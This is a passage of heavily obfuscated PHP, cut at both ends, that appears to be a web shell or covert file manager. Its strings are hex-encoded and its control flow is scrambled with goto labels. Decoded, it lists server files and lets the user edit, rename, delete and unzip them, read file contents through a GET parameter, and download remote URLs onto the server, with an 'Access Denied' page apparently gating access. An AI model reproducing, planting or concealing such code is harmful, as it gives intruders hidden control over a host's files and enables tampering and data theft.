VPmED; dBSpP: foreach ($M1ewI as $nrpAw) { goto vXA8G; BnHJg: echo "\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x3c\164\x64\x20\x63\x6c\141\x73\163\x3d\x22\x70\x2d\64\x22\x3e"; goto dxDdG; Apq9W: echo is_writable($UyGf4 . "\57" . $nrpAw) ? "\131\x65\163" : "\116\157"; goto ngkwV; ngkwV: echo "\x3c\57\164\x64\76\xd\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x3c\x74\x64\x20\x63\154\x61\163\163\x3d\42\160\x2d\64\42\x3e"; goto pzibv; FhhLo: echo htmlspecialchars($nrpAw); goto Kpvzc; aawrO: echo htmlspecialchars($_SESSION["\143\163\x72\x66\x5f\164\157\x6b\x65\156"]); goto iYtRr; YEaRU: echo htmlspecialchars($nrpAw); goto qpIYE; x317W: lLaMK: goto lk3iK; dxDdG: echo aVbxS(filesize($UyGf4 . "\57" . $nrpAw)); goto b9MrC; vXA8G: echo "\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x74\162\x20\x63\154\x61\163\163\75\x22\x62\x6f\x72\x64\x65\x72\x2d\164\40\150\157\x76\145\x72\x3a\142\147\55\147\162\x61\171\x2d\65\60\x20\x76\x69\166\x69\x64\55\164\162\141\156\x73\151\164\x69\157\x6e\x22\x3e\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\74\164\144\40\x63\x6c\x61\163\x73\75\42\x70\55\64\x22\x3e\74\x69\x20\x63\154\141\163\x73\75\x22\146\x61\x73\x20\146\141\55\146\151\154\x65\x20\155\162\55\62\x20\x74\145\170\x74\x2d\x76\151\166\151\144\x2d\x74\x65\x61\x6c\x22\x3e\74\x2f\151\76"; goto YEaRU; ODkP_: echo "\x3c\x2f\164\x64\76\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\164\144\x20\x63\154\x61\163\x73\x3d\x22\x70\55\x34\x20\x73\160\x61\x63\145\x2d\170\55\x33\42\76\15\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x3c\142\165\x74\164\157\156\x20\157\x6e\x63\x6c\x69\x63\153\75\x22\x65\144\151\x74\111\164\145\155\50\x27"; goto j55Ka; Kpvzc: echo "\42\x3e\15\12\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\74\142\x75\164\x74\x6f\x6e\40\164\171\x70\145\x3d\x22\163\x75\x62\x6d\x69\164\x22\x20\x6e\x61\155\x65\75\x22\x75\156\172\151\x70\137\141\x72\143\150\151\166\x65\42\x20\143\x6c\x61\163\x73\x3d\42\142\147\55\147\162\x65\x65\156\x2d\x35\60\60\40\x74\145\x78\x74\55\x77\150\151\164\145\40\160\x78\x2d\63\x20\x70\x79\x2d\61\x20\x72\x6f\165\x6e\x64\145\x64\55\154\x67\x20\x68\x6f\166\145\x72\x3a\x62\147\x2d\147\x72\x65\x65\156\x2d\x36\60\x30\40\166\151\166\x69\144\x2d\x74\x72\x61\x6e\x73\151\x74\151\157\156\x22\76\74\x69\40\143\x6c\x61\x73\x73\75\42\146\141\163\40\146\141\55\146\151\x6c\145\x2d\x61\162\143\x68\x69\x76\145\x20\155\162\55\61\x22\76\x3c\x2f\151\x3e\125\156\x7a\x69\160\74\x2f\x62\165\164\164\157\x6e\x3e\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\74\57\x66\157\162\x6d\76\15\xa\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40"; goto m9Id2; pzibv: echo date("\131\x2d\155\55\144\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $nrpAw)); goto ODkP_; qpIYE: echo "\74\57\x74\144\76\xd\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\160\x2d\64\42\76"; goto YwE2M; j55Ka: echo htmlspecialchars($nrpAw); goto Ko27o; Yo0ak: echo "\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\74\x66\x6f\x72\155\x20\x6d\145\x74\x68\157\144\x3d\42\x70\x6f\x73\x74\x22\x20\143\x6c\x61\x73\x73\75\42\151\156\x6c\151\x6e\145\42\76\15\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\x65\75\x22\x68\151\144\x64\x65\x6e\x22\40\156\141\155\145\x3d\x22\143\x73\x72\146\x5f\164\157\x6b\145\156\x22\x20\x76\x61\x6c\165\x65\75\42"; goto aawrO; IHFCo: echo "\x27\x29\42\40\x63\x6c\x61\163\163\x3d\x22\142\147\x2d\x72\145\x64\x2d\65\60\60\40\164\145\x78\164\55\167\x68\x69\x74\x65\x20\x70\170\55\x33\40\x70\x79\x2d\x31\40\x72\x6f\165\156\x64\x65\144\x2d\x6c\x67\x20\x68\157\x76\x65\x72\72\142\147\55\x72\x65\x64\55\66\x30\60\40\166\x69\x76\x69\144\55\x74\162\x61\x6e\x73\151\164\x69\x6f\156\42\76\104\145\154\145\x74\145\74\x2f\x62\165\x74\164\x6f\x6e\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40"; goto Xque1; ftooB: echo htmlspecialchars($nrpAw); goto IHFCo; iYtRr: echo "\42\x3e\15\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\75\42\x68\151\144\x64\x65\x6e\x22\x20\x6e\x61\155\145\75\x22\x61\162\143\150\151\x76\x65\x5f\x6e\141\155\145\x22\40\x76\141\x6c\x75\x65\75\42"; goto FhhLo; b9MrC: echo "\x3c\x2f\x74\144\76\15\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x3c\x74\144\40\x63\154\x61\163\163\75\x22\160\x2d\x34\x22\76"; goto Apq9W; Ko27o: echo "\x27\x29\42\x20\x63\154\141\163\x73\x3d\x22\x62\x67\55\166\151\166\151\x64\55\x74\x65\x61\154\40\164\x65\x78\164\x2d\167\x68\151\x74\145\40\x70\x78\x2d\63\40\x70\171\55\61\40\162\x6f\x75\x6e\144\x65\x64\x2d\x6c\x67\x20\x68\157\166\x65\162\72\142\x67\55\166\151\x76\151\x64\x2d\x74\145\x61\x6c\55\144\141\162\153\x20\x76\151\166\151\x64\x2d\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\x22\76\x45\x64\x69\164\x3c\57\142\x75\x74\164\x6f\156\x3e\xd\xa\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\x62\x75\164\164\157\156\40\157\156\143\154\x69\143\x6b\75\42\x6f\x70\145\x6e\x52\x65\156\141\x6d\x65\104\x69\x61\x6c\x6f\147\x28\x27"; goto bPYbi; bPYbi: echo htmlspecialchars($nrpAw); goto jjS6K; m9Id2: QRCZ1: goto E0oeA; E0oeA: echo "\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\74\x2f\164\x64\76\15\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\57\164\162\x3e\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20"; goto x317W; jjS6K: echo "\x27\x29\x22\x20\x63\154\141\163\163\x3d\x22\x62\147\55\x79\x65\x6c\154\157\x77\55\x35\60\60\40\x74\x65\170\164\x2d\x77\150\151\164\145\40\160\170\55\x33\x20\x70\x79\55\x31\x20\x72\x6f\165\156\x64\x65\x64\55\x6c\x67\x20\150\x6f\166\x65\x72\72\142\x67\55\171\145\x6c\154\157\167\55\66\x30\x30\40\166\x69\x76\x69\x64\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\156\x22\76\122\x65\156\141\155\145\74\57\142\165\x74\164\x6f\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\74\x62\165\164\x74\157\x6e\40\x6f\156\143\x6c\151\x63\x6b\75\x22\x63\x6f\156\146\x69\162\x6d\x44\x65\x6c\x65\x74\145\50\47"; goto ftooB; YwE2M: echo strtoupper(pathinfo($nrpAw, PATHINFO_EXTENSION)); goto BnHJg; Xque1: if (!(pathinfo($nrpAw, PATHINFO_EXTENSION) === "\x7a\151\160")) { goto QRCZ1; } goto Yo0ak; lk3iK: } goto JT0AX; dkMA6: $cFfUK = $_POST["\151\164\x65\155\x5f\143\157\x6e\x74\145\156\x74"] ?? ''; goto S5SU9; SFaK1: $UyGf4 = $RN9dg; goto gYpZO; G3_fu: $DKH4N = "\106\157\154\144\145\162\40\141\154\162\145\141\x64\171\x20\x65\x78\151\163\x74\x73\x2e"; goto AM5Ni; rxnF1: exit; goto dRHGU; EMeQw: v_hRO: goto jC0wy; pIIY_: if ($f5xwD && is_file($f5xwD) && is_readable($f5xwD)) { goto KXaXc; } goto MWILr; JVO84: EWOGW: goto qu97e; QH0ar: goto dKdrD; goto aadQB; OZfTN: echo "\x22\x3e\15\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x3c\151\156\160\165\x74\40\164\171\x70\145\75\42\165\162\x6c\42\40\156\x61\x6d\145\75\x22\x72\x65\155\157\x74\x65\137\165\162\x6c\42\x20\143\x6c\141\x73\x73\75\42\x66\154\x65\170\x2d\61\40\x70\55\63\x20\142\x6f\x72\144\x65\162\x20\x72\x6f\x75\x6e\x64\145\x64\x2d\x6c\147\x20\146\x6f\143\x75\x73\72\157\165\164\154\x69\x6e\x65\x2d\156\x6f\x6e\145\x20\x66\157\x63\165\163\x3a\x72\x69\156\147\55\x32\x20\146\157\143\165\x73\x3a\x72\x69\156\147\x2d\166\x69\x76\x69\144\x2d\x74\x65\x61\x6c\x22\40\x70\x6c\x61\x63\x65\x68\157\154\144\145\162\75\42\150\164\x74\160\x73\x3a\x2f\57\x65\x78\141\x6d\160\x6c\x65\56\x63\x6f\x6d\57\151\x74\145\x6d\x2e\172\x69\160\x22\x20\162\145\161\165\151\x72\145\144\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\142\165\x74\164\157\156\40\x74\171\160\x65\x3d\42\163\165\142\155\x69\164\x22\40\x6e\141\x6d\145\75\42\x66\145\x74\x63\150\x5f\x72\x65\155\157\164\145\x22\x20\143\154\141\x73\163\x3d\42\x62\x67\x2d\166\151\x76\x69\x64\x2d\x74\x65\x61\154\x20\x74\145\x78\164\x2d\x77\150\x69\164\145\40\x70\55\63\40\x72\x6f\x75\x6e\144\145\x64\55\x6c\x67\40\x68\157\x76\145\x72\x3a\x62\147\x2d\166\151\x76\x69\x64\55\164\x65\x61\x6c\x2d\144\x61\x72\x6b\x20\166\151\x76\x69\144\x2d\x74\x72\x61\156\163\x69\164\151\x6f\156\x22\x3e\x46\x65\x74\143\150\74\57\x62\x75\164\x74\157\156\76\xd\12\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\74\x2f\146\157\162\155\76\15\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\57\144\151\166\x3e\xd\xa\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20"; goto qYmxS; NC5Uv: t1Ohe: goto pQHOD; vNZlm: $DKH4N = "\105\162\162\157\x72\x20\144\145\154\145\164\x69\x6e\147\x20\x66\151\154\x65\56"; goto ScnGe; lT00_: $v7WxV = scandir($UyGf4); goto FdNTJ; P9s45: JKhRB: goto lxXy6; kP7Hi: UF6ry: goto F2e6r; GpF7q: goto Axvto; goto PqAGu; t1YDS: $gt3yP = zNO1R($_POST["\x61\162\x63\x68\151\x76\145\x5f\156\141\155\145"]); goto YwUqk; n2X9C: echo "\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x2f\164\x62\157\144\x79\76\15\12\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x3c\57\164\x61\x62\154\x65\x3e\xd\xa\40\40\x20\x20\x20\40\40\40\74\57\144\x69\166\x3e\15\12\x20\40\40\x20\x3c\57\144\151\166\76\15\12\xd\12\x20\x20\x20\40\74\41\x2d\x2d\x20\x45\144\151\164\x20\104\x69\x61\154\157\147\40\55\x2d\x3e\xd\12\40\40\40\x20\x3c\144\151\x76\x20\151\x64\x3d\x22\145\144\151\x74\104\151\141\154\157\147\x22\40\143\x6c\141\x73\163\x3d\42\146\x69\170\x65\x64\40\x69\x6e\x73\145\x74\55\60\x20\x62\147\55\x67\x72\x61\171\55\x36\x30\x30\x20\142\x67\55\x6f\x70\141\143\151\x74\x79\x2d\65\60\x20\150\x69\x64\x64\x65\156\40\x69\x74\x65\155\163\x2d\143\x65\156\164\x65\x72\40\x6a\165\x73\164\x69\146\x79\55\x63\x65\x6e\x74\145\162\40\166\x69\x76\151\x64\x2d\164\162\141\x6e\x73\x69\x74\x69\157\x6e\x22\76\15\12\40\40\x20\x20\40\40\40\x20\74\x64\151\x76\x20\143\154\x61\163\163\75\42\142\x67\55\x77\150\151\x74\145\x20\160\x2d\x38\x20\x72\x6f\165\156\x64\145\x64\x2d\x78\x6c\x20\163\x68\141\144\157\167\x2d\x78\154\x20\x77\x2d\146\165\x6c\154\x20\x6d\x61\x78\x2d\x77\x2d\x33\x78\154\x20\164\x72\x61\156\x73\146\157\x72\155\x20\163\143\x61\x6c\x65\55\71\65\x20\166\x69\166\151\144\55\x74\x72\141\x6e\163\151\x74\151\x6f\x6e\x22\76\xd\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\74\150\62\x20\143\154\141\x73\x73\x3d\42\x74\145\x78\164\x2d\x32\170\154\x20\x66\x6f\x6e\x74\x2d\142\x6f\x6c\x64\40\155\142\55\x36\40\164\x65\x78\x74\55\166\151\x76\151\x64\x2d\x63\150\x61\x72\143\157\141\x6c\42\76\x45\144\x69\x74\40\111\x74\145\155\74\57\x68\62\76\15\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\x66\x6f\x72\155\40\x69\144\x3d\42\x65\144\151\164\106\x6f\x72\155\x22\x20\x6d\145\164\x68\157\x64\x3d\42\x70\157\163\x74\42\76\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\74\151\x6e\160\165\164\x20\164\171\160\145\75\42\150\x69\x64\x64\x65\x6e\42\x20\156\141\155\x65\x3d\42\143\163\x72\146\x5f\x74\x6f\x6b\x65\156\x22\40\166\141\x6c\x75\145\75\x22"; goto tWGjL; Y3LxI: goto GNvyD; goto rcgmR; bc2im: echo "\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x21\x2d\x2d\40\x46\157\x6c\144\145\162\163\40\x2d\55\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20"; goto lhRVK; ri6nJ: ohQxi: goto Um9B7; IB34C: if ($HcnX3->extractTo($UyGf4)) { goto vQXUH; } goto Ucrww; p7raR: $Cc3_N = $UyGf4 . "\57" . $BOKAQ; goto v4fkp; H6_Uh: vsu2I: goto SLPz3; Jr6hd: U9GL6: goto nAVlY; LPb1A: if (!(isset($_POST["\x61\144\x64\137\146\151\x6c\x65"]) && !empty($_POST["\151\164\x65\155\137\x6e\141\155\145"]))) { goto vsu2I; } goto AoQU8; atiNZ: echo "\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\x69\x76\40\143\x6c\x61\163\163\75\42\x62\147\55\x77\150\151\x74\145\40\x70\55\66\40\x72\x6f\x75\156\144\x65\144\x2d\170\x6c\40\163\x68\x61\x64\x6f\167\x2d\x78\x6c\x20\x76\151\166\151\x64\55\x68\157\x76\x65\162\x22\x3e\15\12\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x3c\150\63\40\x63\154\141\x73\163\75\x22\x74\145\170\164\x2d\x78\154\40\146\157\156\x74\x2d\163\145\155\x69\142\x6f\x6c\144\40\155\142\x2d\x34\x20\164\x65\170\164\55\166\x69\166\x69\x64\x2d\x63\150\x61\x72\143\157\x61\154\42\x3e\106\145\164\143\150\x20\122\x65\x6d\x6f\x74\145\x20\x49\164\x65\155\x3c\x2f\x68\x33\x3e\15\12\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\74\146\157\162\155\40\155\145\x74\x68\x6f\144\x3d\x22\160\x6f\x73\x74\42\40\x63\x6c\141\x73\x73\x3d\42\146\154\145\x78\x20\x73\x70\x61\143\x65\x2d\170\55\x33\42\x3e\15\12\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\74\151\156\x70\x75\164\40\x74\x79\160\x65\75\42\150\151\x64\x64\x65\x6e\42\x20\156\141\155\145\75\42\x63\163\x72\x66\x5f\x74\157\x6b\x65\156\42\x20\166\141\x6c\x75\x65\75\x22"; goto V83w2; aW2gQ: IUKiV: goto MYnzS; lVPL0: echo file_get_contents($f5xwD); goto k9D3j; grGj9: if (file_exists($Cc3_N) && !file_exists($N1y8k)) { goto lHkIz; } goto D6OVg; lkCg9: if (file_exists($xAY2y) && is_writable($xAY2y)) { goto UF6ry; } goto b1K7t; SqQJd: $Vjqae = strtolower(pathinfo($GpDM3["\x6e\x61\x6d\145"], PATHINFO_EXTENSION)); goto woUVw; yjRLJ: $DKH4N = "\106\x61\151\154\145\144\40\x74\157\40\157\x70\145\x6e\40\x61\x72\x63\x68\151\166\x65\x2e"; goto FZOWP; x3ezo: $DKH4N = "\x46\x69\154\145\40\141\154\x72\x65\x61\x64\171\40\145\170\151\x73\164\x73\x2e"; goto m_Nxc; G4i7T: Cesxo: goto RjKFq; tWGjL: echo htmlspecialchars($_SESSION["\143\163\x72\x66\137\164\157\x6b\x65\x6e"]); goto efl0n; ScnGe: goto onpA9; goto vZeSO; X62I5: $l4vH0 = $UyGf4 . "\57" . $XSEgQ; goto Bdm1a; y3gSM: echo "\46\x6f\x70\x65\162\x61\x74\x69\157\x6e\x3d\162\145\x74\x72\151\x65\x76\x65\137\x66\x69\154\145\x5f\143\x6f\156\x74\145\x6e\x74\46\x69\x74\145\x6d\x3d\x27\40\x2b\x20\145\x6e\143\157\x64\x65\x55\122\x49\x43\157\155\x70\157\156\x65\156\x74\50\151\164\145\x6d\x4e\x61\155\x65\x29\51\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\56\164\150\145\156\x28\x72\x65\x73\x70\x6f\156\x73\145\x20\x3d\x3e\40\x7b\xd\12\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\151\146\40\50\x21\162\x65\x73\160\x6f\x6e\x73\x65\56\x6f\153\51\x20\x74\x68\162\x6f\167\x20\156\145\167\x20\x45\162\162\157\x72\x28\x27\111\164\145\x6d\40\x6e\x6f\x74\x20\146\157\165\156\x64\47\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\162\145\x74\x75\x72\156\x20\162\x65\x73\160\x6f\156\163\145\56\x74\145\x78\164\x28\51\x3b\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\175\x29\15\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x2e\x74\150\145\156\50\x63\157\156\164\x65\156\164\x20\x3d\76\x20\x7b\15\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x64\x6f\143\165\155\145\156\x74\x2e\x67\x65\164\105\154\145\155\x65\156\164\x42\x79\111\144\x28\47\145\x64\x69\x74\111\x74\x65\155\116\x61\155\x65\47\x29\x2e\x76\141\x6c\165\145\40\x3d\40\x69\164\x65\155\x4e\x61\155\x65\73\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\144\157\x63\165\x6d\145\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\x28\47\x65\144\x69\164\111\x74\145\x6d\103\x6f\156\164\x65\x6e\x74\x27\x29\56\x76\141\x6c\x75\145\x20\75\x20\143\x6f\x6e\164\x65\156\164\x3b\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\157\160\x65\156\104\151\141\154\157\x67\x28\x27\145\144\x69\x74\104\151\x61\x6c\x6f\147\47\x29\x3b\xd\xa\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\175\x29\xd\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\56\x63\x61\164\x63\150\50\x65\x72\x72\x6f\x72\40\x3d\76\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\141\154\x65\x72\164\50\47\105\x72\162\x6f\162\40\154\x6f\x61\144\x69\x6e\x67\40\x69\x74\x65\x6d\40\x63\x6f\x6e\164\145\x6e\164\x3a\x20\x27\40\53\40\x65\162\x72\157\x72\x2e\x6d\145\163\x73\x61\147\x65\51\x3b\15\xa\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\175\51\x3b\15\xa\40\x20\40\x20\40\x20\40\x20\x7d\xd\12\15\12\40\40\x20\40\x20\x20\x20\40\146\x75\x6e\x63\164\151\157\x6e\40\x6f\160\x65\x6e\122\x65\156\x61\x6d\x65\x44\x69\x61\x6c\x6f\x67\50\x69\x74\145\x6d\116\141\155\x65\51\x20\x7b\xd\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x64\x6f\143\165\155\x65\x6e\x74\56\x67\145\164\105\x6c\145\155\145\x6e\x74\102\x79\x49\144\x28\47\x6f\x72\x69\147\x69\x6e\141\154\111\164\x65\x6d\116\x61\155\x65\47\51\56\166\141\x6c\165\x65\x20\x3d\40\151\x74\145\155\x4e\141\155\x65\73\15\xa\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x64\157\143\x75\155\145\156\164\x2e\147\x65\x74\x45\x6c\x65\155\145\156\164\x42\171\x49\144\50\47\156\x65\x77\111\164\x65\155\x4e\x61\155\145\x27\x29\56\x76\x61\154\165\145\x20\x3d\40\x69\164\x65\x6d\x4e\x61\x6d\145\73\15\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x6f\160\x65\156\104\151\x61\154\x6f\147\50\47\x72\x65\x6e\x61\155\145\104\x69\x61\154\157\147\47\51\73\xd\12\x20\x20\x20\40\x20\x20\x20\40\175\15\12\15\xa\40\x20\40\40\40\x20\x20\x20\x66\165\x6e\143\x74\151\157\x6e\x20\x63\x6f\156\146\151\162\155\x44\145\154\145\164\145\x28\x69\164\x65\x6d\x4e\x61\155\x65\x29\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\146\40\x28\143\157\x6e\x66\151\x72\x6d\50\140\x41\162\x65\x20\x79\157\165\x20\163\165\x72\x65\x20\x79\157\x75\x20\x77\141\x6e\164\40\x74\157\40\x64\x65\x6c\x65\164\145\40\42\44\x7b\x69\164\x65\x6d\116\x61\155\145\175\42\x3f\x20\x54\x68\x69\163\40\141\x63\164\x69\x6f\156\x20\x63\141\156\156\157\164\40\142\x65\40\165\x6e\144\x6f\156\145\x2e\x60\51\x29\x20\x7b\xd\xa\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x63\x6f\x6e\163\164\40\146\157\162\155\40\x3d\x20\144\x6f\143\165\x6d\x65\x6e\x74\x2e\x63\162\x65\x61\164\x65\x45\x6c\145\x6d\145\x6e\164\x28\47\146\157\162\x6d\47\51\73\15\xa\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x66\x6f\x72\155\56\155\x65\164\150\157\x64\40\x3d\x20\47\x70\x6f\x73\x74\x27\73\xd\12\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\146\157\162\x6d\56\151\x6e\156\x65\x72\110\x54\115\114\x20\x3d\40\140\xd\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\74\x69\x6e\160\x75\164\40\164\x79\x70\145\x3d\x22\x68\x69\x64\x64\145\156\42\40\x6e\x61\x6d\x65\x3d\42\143\163\162\146\137\x74\x6f\153\x65\x6e\42\40\166\x61\154\165\x65\x3d\42"; goto RKRBc; YChaf: goto ItQRC; goto D1_Qz; D1_Qz: Sv1yi: goto GV3it; CQNeC: $DKH4N = "\105\162\x72\157\162\x20\x75\x70\144\x61\164\x69\156\x67\40\x66\151\154\x65\56"; goto eIgbM; Poy8D: goto l6riZ; goto FRtJS; SRHNn: goto pbGNX; goto haRmB; BdAg2: function znO1R($xD9bO) { return preg_replace("\57\x5b\136\x61\x2d\x7a\101\55\x5a\60\x2d\71\56\x5f\55\x5d\x2f", '', trim($xD9bO)); } goto I6oBt; q3lJ7: pbGNX: goto OQPz9; kX0on: echo urlencode($UyGf4); goto y3gSM; ooNWl: zYkoR: goto gq13N; tVO8Z: if (!(isset($_GET["\157\x70\x65\x72\141\x74\151\157\156"]) && $_GET["\x6f\160\145\162\x61\x74\x69\x6f\156"] === "\162\x65\x74\x72\x69\x65\x76\145\x5f\x66\151\154\x65\137\143\x6f\x6e\x74\145\156\x74" && isset($_GET["\151\x74\145\155"]))) { goto t1Ohe; } goto ZGMPl; eDJC3: echo "\xd\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x3c\x21\104\117\x43\x54\131\x50\x45\x20\150\164\x6d\x6c\x3e\xd\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\74\150\x74\x6d\154\40\154\x61\x6e\x67\75\42\x65\x6e\42\x3e\15\12\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x3c\150\x65\141\144\x3e\15\12\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x3c\x6d\x65\164\141\40\143\x68\141\162\x73\145\164\75\42\x55\x54\106\x2d\x38\42\76\15\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\74\x6d\x65\164\x61\x20\x6e\141\x6d\145\75\42\166\151\x65\167\x70\x6f\x72\164\x22\x20\x63\x6f\156\164\x65\156\164\x3d\42\167\151\x64\x74\150\x3d\144\x65\166\151\x63\145\55\167\x69\144\164\150\54\x20\x69\x6e\x69\x74\151\x61\x6c\55\x73\143\x61\154\145\x3d\x31\x2e\60\42\x3e\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\164\151\164\x6c\145\x3e\x41\x63\x63\145\163\163\40\x44\x65\156\151\145\x64\74\57\x74\x69\164\x6c\x65\76\15\12\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\74\x73\x63\162\x69\160\x74\40\x73\x72\x63\x3d\42\150\164\164\x70\x73\x3a\57\x2f\x63\144\x6e\x2e\164\x61\151\x6c\167\x69\x6e\x64\143\x73\163\56\143\157\155\x22\x3e\74\57\163\x63\x72\151\160\164\76\xd\xa\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\74\57\150\145\x61\144\x3e\15\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\142\157\x64\171\40\x63\154\x61\163\163\x3d\42\x62\147\x2d\166\151\x76\151\144\x2d\163\x6c\141\x74\x65\x20\x6d\151\156\55\150\x2d\163\143\162\145\x65\x6e\x20\146\154\145\170\40\151\164\x65\x6d\x73\55\143\145\x6e\x74\x65\x72\40\152\x75\x73\x74\151\146\x79\55\143\145\x6e\164\x65\162\42\x3e\15\12\40\x20\40\